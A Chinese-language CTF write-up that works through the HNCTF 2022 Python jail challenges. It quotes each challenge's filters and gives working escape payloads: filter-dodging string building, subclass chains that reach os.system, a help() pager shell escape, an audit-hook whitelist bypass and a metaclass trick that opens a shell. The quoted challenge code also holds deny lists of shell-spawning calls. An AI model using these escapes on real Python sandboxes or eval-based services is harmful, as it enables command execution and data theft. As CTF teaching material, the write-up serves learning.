Pyjail学习1
前言
之前没咋了解过这种题目,前几天强网杯遇到了三个pyjail题,当时搜文章出来全是HNCTF2022的wp和先知社区的总结文章,当时强网也只出了两个,于是打算赛后好好学习一下python沙箱逃逸的内容,感觉内容还挺多的,这篇先把2022的HNCTF题给全刷了(主要看的wp),下一篇在对知识总结
HNCTF2022wp
这里用的nssctf的平台来做的: https://www.nssctf.cn/
[HNCTF 2022 Week1]calc_jail_beginner(JAIL)
1 | #Your goal is to read ./flag.txt |
无过滤:1
2
3
4
5
6
7直接用__import__:
__import__('os').system('cat flag')
直接读:
open('flag').read()
print(open('flag').read())
builtins模块里有__import__:
__builtins__.__import__('os').system('cat flag')
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)
考点: ==chr函数拼接绕过==
这里加了一个函数1
2
3def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
过滤了单双引号,反引号和ib两个字母
我们可以用chr()函数拼接绕过:1
open('flag').read()
flag:1
chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)
读文件:1
open(chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)).read()
执行命令:1
2
3
4
5
6
7
8
9
10exec(input())的chr拼接:
chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29)
eval(exec(input())):
eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
然后输入:
__import__('os').system('cat flag')
同理可以直接执行__import__('os').system('whoami')
eval(chr(0x5f)+ chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d)+chr(0x28)+chr(0x27)+chr(0x77)+chr(0x68)+chr(0x6f)+chr(0x61)+chr(0x6d)+chr(0x69)+chr(0x27)+chr(0x29))
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)
考点: ==input()和breakpoint绕过长度限制==
这里只限制了一个13位长度1
2
3if len(input_data)>13:
print("Oh hacker!")
exit(0)
直接把恶意代码带到后面的输入:
1
2exec(input())
__import__('os').system('cat flag')breakpoint()断点调试
1
2breakpoint()
open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)
考点: ==breakpoint函数绕过长度限制==
这回在上一关限制13个字符的基础上加了个filter函数1
2
3
4
5
6def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
还是可以使用breakpoint()
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)
考点: ==help函数配合Linux的more/less命令特性来rce==
hint:seccon final 2021
这关限制了长度小于等于7个,还给了提示,我们breakpoint()肯定用不了了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
参考文章: https://shellcodes.org/Hacking/Python%20eval%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7.html
python内置的help函数可以执行任意系统命令:
- 输入help()进入help交互式
- 输入一个任意模块获得改模块的帮助文档,比如sys
- Linux中呈现帮助文档是用more或者less命令的,我们可以借助Linux这两个命令的可以执行子shell命令的特性来执行命令
- 在more或less命令里可以通过输入
!
或者#!
后面接命令执行子shell命令1
2
3help()
sys
!cat flag[HNCTF 2022 Week1]python2 input(JAIL)
1 | WELCOME = ''' |
直接读:1
open('flag').read()
[HNCTF 2022 Week1]lake lake lake(JAIL)
考点: ==globals()函数获取全局变量==1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
有两个功能都能执行eval函数,第一个限制9个长度,第二个只要key对了没有任何限制
可以获取全局变量globals1
print(eval("globals()"))
[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)
考点: ==help()函数的server查看全局变量==1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
和上题逻辑一样,第一个eval限制6个字符,不能用globals()了
可以使用help()函数的server查看全局变量1
open('flag').read()
[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)
考点: ==bytes()函数拼接字符串==1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))
删了一些内置函数包括chr(),但是没有ban函数open,黑名单有单双引号,反引号
此时可以用bytes([]).decode()
来代替chr()1
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
和上题一样的payload
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)
考点: ==type()函数来拼接字符串==1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
这里把bytes给ban了
这里学到了用type(str(1).encode())([i])
来表示ascii值为i的字节1
2
3
4
5
6
7
8
9
10
11type(str(1).encode())([115])就是b's'
system:
(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()
('ls'):
((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
所以:system('ls')
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
cat flag_y0u_CaNt_FiNd_mE
有点长,写个脚本来生产:('cat flag_y0u_CaNt_FiNd_mE')
1
2
3
4
5
6
7
8
9
10
11
12
13
str="cat flag_y0u_CaNt_FiNd_mE"
str1=''
for i in str:
num=ord(i)
print(num)
if i==str[-1]:
str1 += f"type(str(1).encode())([{num}])"
break
str1+=f"type(str(1).encode())([{num}])+"
print(str1)
res='(('+str1+').decode())'
print(res)
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([99])+type(str(1).encode())([97])+type(str(1).encode())([116])+type(str(1).encode())([32])+type(str(1).encode())([102])+type(str(1).encode())([108])+type(str(1).encode())([97])+type(str(1).encode())([103])+type(str(1).encode())([95])+type(str(1).encode())([121])+type(str(1).encode())([48])+type(str(1).encode())([117])+type(str(1).encode())([95])+type(str(1).encode())([67])+type(str(1).encode())([97])+type(str(1).encode())([78])+type(str(1).encode())([116])+type(str(1).encode())([95])+type(str(1).encode())([70])+type(str(1).encode())([105])+type(str(1).encode())([78])+type(str(1).encode())([100])+type(str(1).encode())([95])+type(str(1).encode())([109])+type(str(1).encode())([69])).decode()) |
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)
考点: ==type函数配合__add__
方法(替代加号)拼接字符串==1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
这关过滤了加号,用__add__
来替代加号
这里直接用参考文章师傅的脚本:1
2
3
4
5
6
7
8
9
10
11
lst=[]
for i in "system":#cat flag_y0u_CaNt_FiNd_mE
lst.append(f"type(str(1).encode())([{ord(i)}])")
print(lst)
print("("+lst.pop(0),end='')
for i in lst:
print(f".__add__({i})",end='')
print(").decode()")
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()) |
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)
考点: ==list(dict(system=xxx))[0]来获取xxx字符串==1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
这里把type给ban了,不能通过type(str(1).encode())([78])
来获取字符,可以通过list(dict(system=114514))[0]
来获取system
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=114514))[0]](list(dict(ls=1))[0]) |
[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)
这题没ban open()函数1
open('flag').read()
[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)
考点: ==dir()函数查看变量属性==
这里肯定ban了open了1
2
3
4
5
6
7
8正常dir跟进查看
dir()
['__builtins__', 'my_flag']
dir(my_flag)
发现一个flag_level5
dir(my_flag.flag_level5)
发现一个encode方法
my_flag.flag_level5.encode()
[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)
考点: __import__("sys").__stdout__.write
绕过无回显1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71# You finsih these two challenge of leak
# So cool
# Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
#这里把eval和open函数赋给新的变量,因为后面要把他们从内置变量里面删除了,但是后面还需要用到这些函数的功能
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]#删内置函数
#设置黑名单
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn', 'os.spawn', 'subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''), {}, {})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME = '''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
这里需要猜个很大随机数,猜对了才读flag,还把sys.stdout、sys.seterr
重定向了,调用print无法输出,这里是通过__import__("sys").__stdout__.write
向屏幕写入数据
我们读取flag文件方式有两种:
- os.read()函数:
1 | __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("./flag",__import__("os").O_RDONLY), 0x114).decode()) |
- io.open()函数
1
2
3__import__("io").open("test").read()类似这样可以直接读取函数
payload:
__import__("sys").__stdout__.write(__import__("io").open("flag").read())
[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)
考点: ==sys._getframe()
方法查看全局变量==
这里相对于上一关就把hook多ban了几个函数1
2
3
4def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))__import__("sys").__stdout__.write
可以执行,但是open()函数ban了,无法打开文件了
这里需要学习一下sys._getframe
方法,参考: https://rrroger.github.io/notebook/python/sys._getframe.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import sys
def test_func():
caller = sys._getframe(1)
file_name = caller.f_code.co_filename # 获取调用函数名所在路径
func_name = caller.f_code.co_name # 获取调用函数名
line_number = caller.f_lineno # 获取调用函数行号
print(f"被调用函数名路径: {file_name}")
print(f"被调用函数名: {func_name}")
print(f"被调用函数行号: {line_number}")
cur_func = sys._getframe()
file_name = cur_func.f_code.co_filename # 获取调用函数名所在路径
func_name = cur_func.f_code.co_name # 获取调用函数名
line_number = cur_func.f_lineno # 获取调用函数行号; 结果为当前行
print(f"当前函数名路径: {file_name}")
print(f"当前函数名: {func_name}")
print(f"当前函数行号: {line_number}")
def caller_func():
test_func()
if __name__ == '__main__':
caller_func()
fuzz:1
2
3
4
5
6
7
8
9
10
11__import__("sys")._getframe(0)
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(0).f_code.co_filename))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(0).f_lineno))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_code.co_filename))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_lineno))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_code.co_name))
f_locals属性查看变量:
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
这里获取了right_guesser_question_answer
1 | int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"])) |
[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)
考点: ==修改set内置函数的值==1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
参考: CTFtime.org / 圣地亚哥 CTF 2021 / HAXLAB — 残局 Pwn / Writeup
这题的白名单是通过set函数设置的,我们,而我们可以修改set这个内置函数的值为一个包含os.system的列表
eg1
2
3
4
5
6__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
WHITED_EVENTS = set({"builtins.input", "builtins.input/result", "exec", "compile"})
print(WHITED_EVENTS)
#结果:
['builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system']
payload:1
2
3exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('ls')")
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")
[HNCTF 2022 WEEK3]s@Fe safeeval(JAIL)
考点: ==lambda调用函数==1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39Terminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).
______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/
Turing s@Fe mode: on
Black List:
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
some code:
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
1 | (lambda:os.system('cat flag'))() |
[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)
考点: ==AST生成树的类型绕过(metaclass方法绕过Call类型)==1
Black List AST: 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef,Sub,Mult,Div,Del'
这里的AST禁用是把python代码转为AST语法树查看类型是否等于以上类型,这里直接给出源码算了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73import ast
import sys
import os
WELCOME = '''
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
'''
def verify_ast_secure(m):
for x in ast.walk(m):#遍历AST`m`中的所有节点
match type(x):#匹配这些节点的类型与下面的类型做比较查看是否相等
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True
def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):#以--HNCTF开头的代码作为结束标识
break
my_source_code += line
tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
#将 my_source_code 中的 Python 代码编译成抽象语法树(AST),并将该 AST 对象赋值给 tree_check 变量
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()
while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()
看大佬博客发现需要学一个魔术方法metaclass
,链接: https://zhuanlan.zhihu.com/p/149126959
这个方法可以给原生类添加新的属性
eg1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17class ListMeta(type):
def __new__(cls, name, bases, attrs):
# 在类属性当中添加了add函数
# 通过匿名函数映射到append函数上
attrs['add'] = lambda self, value: self.append(value)
return super().__new__(cls, name, bases, attrs)
class MyList(list, metaclass=ListMeta):
pass
lt=MyList()
print(lt)
lt.add(3)
print(lt)
#[]
#[3]
现在可以把一个类的一个属性改为os.system函数
,调用的时候可以直接执行,这里需要用到__getitem
,本来是获取列表或字典的值的一个属性
eg.1
2
3
4
5import os
class jmx():
pass
jmx.__getitem__=os.system
jmx()['whoami']
而此时ast生成树有黑名单的Expr
和Call
1
2
3
4
5
6
7
8import ast
src="""import os
class jmx():
pass
jmx.__getitem__=os.system
jmx()['whoami']"""
ast_code=ast.parse(src,"test4.py",mode="exec")
print(ast.dump(ast_code))
- Expr可以通过赋值绕过
- Call可以用metaclass给类添加属性绕过,这样不是类生成的对象有这个属性,这样我们就不用调用实例化类的Call
payload:这里发现Import也ban了.而题目环境是有os的,所以我们把1
2
3
4
5
6
7import os
class jmx(type):
__getitem__=os.system
class evil(metaclass=jmx):
pass
poc=evil['sh']
--HNCTFmport os
删了就行1
2
3
4
5
6class jmx(type):
__getitem__=os.system
class evil(metaclass=jmx):
pass
poc=evil['sh']
--HNCTF
参考
https://www.woodwhale.top/archives/hnctfj-ail-all-in-one#week2lak3-lak3-lak3jail